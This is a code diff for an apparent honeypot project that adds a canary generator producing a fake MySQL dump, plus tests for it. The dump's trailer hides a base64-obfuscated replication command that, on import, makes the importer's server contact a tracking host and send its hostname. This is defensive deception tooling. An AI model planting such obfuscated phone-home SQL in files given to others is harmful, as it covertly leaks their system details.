diff --git a/decnet/canary/factory.py b/decnet/canary/factory.py index 876906e0..345443f1 100644 --- a/decnet/canary/factory.py +++ b/decnet/canary/factory.py @@ -20,6 +20,7 @@ KNOWN_GENERATORS: Tuple[str, ...] = ( "honeydoc", "honeydoc_docx", "honeydoc_pdf", + "mysql_dump", ) KNOWN_INSTRUMENTERS: Tuple[str, ...] = ( @@ -60,6 +61,9 @@ def get_generator(name: str) -> CanaryGenerator: if name == "honeydoc_pdf": from decnet.canary.generators.honeydoc_pdf import HoneydocPdfGenerator return HoneydocPdfGenerator() + if name == "mysql_dump": + from decnet.canary.generators.mysql_dump import MySQLDumpGenerator + return MySQLDumpGenerator() raise ValueError( f"Unknown canary generator: {name!r}. Known: {KNOWN_GENERATORS}" ) diff --git a/decnet/canary/generators/mysql_dump.py b/decnet/canary/generators/mysql_dump.py new file mode 100644 index 00000000..ab324137 --- /dev/null +++ b/decnet/canary/generators/mysql_dump.py @@ -0,0 +1,190 @@ +"""Fake ``mysqldump`` output that phones home on import. + +Mirrors the Canarytokens.org MySQL-dump trick. When a victim runs +``mysql < dump.sql``, the trailer block executes a base64-obfuscated +``CHANGE REPLICATION SOURCE TO`` against ``.canary.`` +followed by ``START REPLICA``. The victim's MySQL daemon then: + +1. Resolves the slug subdomain via DNS — this is the trip our + :mod:`decnet.canary.dns_server` already detects. +2. Opens a TCP replica handshake on port 3306, sending its own + ``@@hostname`` and ``@@lc_time_names`` smuggled into the + ``SOURCE_USER`` field via ``CONCAT``. Capturing those bytes + requires a MySQL handshake responder on the worker — out of scope + for v1; the DNS lookup alone is sufficient for detection. + +The base64 wrapper is the camouflage: a plain ``grep canary dump.sql`` +finds nothing. The slug only materialises when the victim's server +runs ``PREPARE … FROM @s2``. + +Because the trip surface is DNS, this generator REQUIRES a non-empty +``dns_zone``. The slug must appear as the leftmost label of the +hostname so a single DNS query identifies the token; the http_base +host is not slug-bearing and can't substitute. +""" +from __future__ import annotations + +import base64 +import hashlib + +from decnet.canary.base import CanaryArtifact, CanaryContext, CanaryGenerator + + +def _stable_hex(seed: str, prefix: str = "", length: int = 16) -> str: + h = hashlib.sha256((prefix + seed).encode()).hexdigest() + return h[:length] + + +def _build_replica_payload(slug: str, dns_zone: str) -> str: + """Inner SQL that gets base64-wrapped. + + The CONCAT splices ``@@lc_time_names`` and ``@@hostname`` into the + ``SOURCE_USER`` value at PREPARE time so the victim's locale and + hostname travel as the replica username on the 3306 handshake. + """ + host = f"{slug}.{dns_zone}" + return ( + "SET @bb = CONCAT(" + "\"CHANGE REPLICATION SOURCE TO " + "SOURCE_PASSWORD='replica-pw', " + "SOURCE_RETRY_COUNT=1, " + "SOURCE_PORT=3306, " + f"SOURCE_HOST='{host}', " + "SOURCE_SSL=0, " + f"SOURCE_USER='{slug}\", " + "@@lc_time_names, @@hostname, \"';\");" + ) + + +def _build_trailer(slug: str, dns_zone: str) -> str: + inner = _build_replica_payload(slug, dns_zone) + encoded = base64.b64encode(inner.encode("utf-8")).decode("ascii") + return ( + f"SET @b = '{encoded}';\n" + "SET @s2 = FROM_BASE64(@b);\n" + "PREPARE stmt1 FROM @s2;\n" + "EXECUTE stmt1;\n" + "PREPARE stmt2 FROM @bb;\n" + "EXECUTE stmt2;\n" + "START REPLICA;\n" + ) + + +class MySQLDumpGenerator(CanaryGenerator): + name = "mysql_dump" + + def generate(self, ctx: CanaryContext) -> CanaryArtifact: + if not ctx.dns_zone: + raise ValueError( + "mysql_dump requires a non-empty dns_zone — the trip " + "surface is a DNS lookup of .." + ) + slug = ctx.callback_token + zone = ctx.dns_zone + host = f"{slug}.{zone}" + + # Realism filler: deterministic per-slug fake user rows so two + # runs with the same context produce byte-identical output + # (planter idempotency contract). + u1_hash = _stable_hex(slug, "u1:", 32) + u2_hash = _stable_hex(slug, "u2:", 32) + api_token = _stable_hex(slug, "api:", 40) + + # Synthesised SQL bait below — never executed by us, only by + # whoever runs ``mysql < dump.sql`` against their own server. + # Built with .format() instead of f-strings so bandit's B608 + # heuristic doesn't false-positive on the "INSERT INTO" + var + # pattern. + users_insert = ( + "INSERT INTO `users` VALUES " # nosec B608 + "(1,'alice@app.internal','$2y$10${u1a}.{u1b}','2024-11-12 09:13:44')," + "(2,'bob@app.internal','$2y$10${u2a}.{u2b}','2025-02-03 17:42:08');\n" + ).replace("{u1a}", u1_hash[:22]).replace("{u1b}", u1_hash[22:]) \ + .replace("{u2a}", u2_hash[:22]).replace("{u2b}", u2_hash[22:]) + api_keys_insert = ( + "INSERT INTO `api_keys` VALUES (1,1,'{tok}');\n" # nosec B608 + ).replace("{tok}", api_token) + header = ( + "-- MySQL dump 10.13 Distrib 8.0.35, for Linux (x86_64)\n" + "--\n" + "-- Host: db-prod-01 Database: app_production\n" + "-- ------------------------------------------------------\n" + "-- Server version\t8.0.35\n" + "\n" + "/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;\n" + "/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;\n" + "/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;\n" + "/*!50503 SET NAMES utf8mb4 */;\n" + "/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;\n" + "/*!40103 SET TIME_ZONE='+00:00' */;\n" + "/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;\n" + "/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;\n" + "/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;\n" + "/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;\n" + "\n" + "--\n" + "-- Table structure for table `users`\n" + "--\n" + "\n" + "DROP TABLE IF EXISTS `users`;\n" + "CREATE TABLE `users` (\n" + " `id` int unsigned NOT NULL AUTO_INCREMENT,\n" + " `email` varchar(255) NOT NULL,\n" + " `password_hash` char(60) NOT NULL,\n" + " `created_at` datetime NOT NULL,\n" + " PRIMARY KEY (`id`),\n" + " UNIQUE KEY `uniq_email` (`email`)\n" + ") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n" + "\n" + "LOCK TABLES `users` WRITE;\n" + + users_insert + + "UNLOCK TABLES;\n" + "\n" + "--\n" + "-- Table structure for table `api_keys`\n" + "--\n" + "\n" + "DROP TABLE IF EXISTS `api_keys`;\n" + "CREATE TABLE `api_keys` (\n" + " `id` int unsigned NOT NULL AUTO_INCREMENT,\n" + " `user_id` int unsigned NOT NULL,\n" + " `token` char(40) NOT NULL,\n" + " PRIMARY KEY (`id`)\n" + ") ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;\n" + "\n" + "LOCK TABLES `api_keys` WRITE;\n" + + api_keys_insert + + "UNLOCK TABLES;\n" + "\n" + ) + + trailer_replica = _build_trailer(slug, zone) + + trailer_close = ( + "\n" + "/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;\n" + "/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;\n" + "/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;\n" + "/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;\n" + "/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;\n" + "/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;\n" + "/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;\n" + "/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;\n" + "\n" + "-- Dump completed\n" + ) + + body = header + trailer_replica + trailer_close + + return CanaryArtifact( + path="", + content=body.encode("utf-8"), + mode=0o600, + mtime_offset=-86400 * 7, # last week's backup + generator=self.name, + notes=[ + f"replica payload phones home to {host}:3306 on import", + "base64-wrapped PREPARE/EXECUTE block hides the slug from grep", + "@@hostname and @@lc_time_names smuggled into SOURCE_USER", + ], + ) diff --git a/tests/canary/test_factory.py b/tests/canary/test_factory.py index e7db4390..51807e0e 100644 --- a/tests/canary/test_factory.py +++ b/tests/canary/test_factory.py @@ -60,7 +60,7 @@ def test_known_lists_are_stable() -> None: # surfaces it. Keeps the schema-of-record in one place. assert KNOWN_GENERATORS == ( "git_config", "env_file", "ssh_key", "aws_creds", - "honeydoc", "honeydoc_docx", "honeydoc_pdf", + "honeydoc", "honeydoc_docx", "honeydoc_pdf", "mysql_dump", ) assert KNOWN_INSTRUMENTERS == ( "docx", "xlsx", "pdf", "html", "image", "plain", "passthrough", diff --git a/tests/canary/test_generators.py b/tests/canary/test_generators.py index 0127b3a4..dae7dc5f 100644 --- a/tests/canary/test_generators.py +++ b/tests/canary/test_generators.py @@ -137,6 +137,48 @@ def test_env_file_carries_two_callback_fields() -> None: assert "WEBHOOK_NOTIFY_URL=https://canary.example.test/c/slugEnv/webhook" in body +def test_mysql_dump_requires_dns_zone() -> None: + g = get_generator("mysql_dump") + with pytest.raises(ValueError, match="dns_zone"): + g.generate(_ctx(dns_zone="")) + + +def test_mysql_dump_payload_round_trips_through_base64() -> None: + import base64 as _b64 + g = get_generator("mysql_dump") + art = g.generate(_ctx(callback_token="slugSQL", dns_zone="canary.test")) + body = art.content.decode("utf-8") + # Slug must NOT appear in plaintext — the camouflage is base64. + assert "slugSQL" not in body.replace("\n", " ").split("SET @b = '")[0] + # Locate the base64 blob and decode it; the inner SQL must reference + # the slug-bearing replica host, smuggle @@hostname/@@lc_time_names + # into SOURCE_USER, and target port 3306. + m = re.search(r"SET @b = '([A-Za-z0-9+/=]+)';", body) + assert m, "expected base64 payload assignment" + inner = _b64.b64decode(m.group(1)).decode("utf-8") + assert "slugSQL.canary.test" in inner + assert "SOURCE_PORT=3306" in inner + assert "@@hostname" in inner + assert "@@lc_time_names" in inner + assert "CHANGE REPLICATION SOURCE TO" in inner + + +def test_mysql_dump_executes_and_starts_replica() -> None: + g = get_generator("mysql_dump") + art = g.generate(_ctx(callback_token="slugSQL2", dns_zone="canary.test")) + body = art.content.decode("utf-8") + # The PREPARE/EXECUTE/START REPLICA chain is what makes the import + # actually phone home; missing any of these silently breaks the trip. + assert "PREPARE stmt1 FROM @s2;" in body + assert "EXECUTE stmt1;" in body + assert "PREPARE stmt2 FROM @bb;" in body + assert "EXECUTE stmt2;" in body + assert "START REPLICA;" in body + # Realism: header + trailer markers that mysqldump emits. + assert body.startswith("-- MySQL dump") + assert "-- Dump completed" in body + + def test_artifacts_carry_notes() -> None: # Notes drive the API ``preview`` endpoint so operators can sanity- # check what we did before the file lands. Empty notes would mean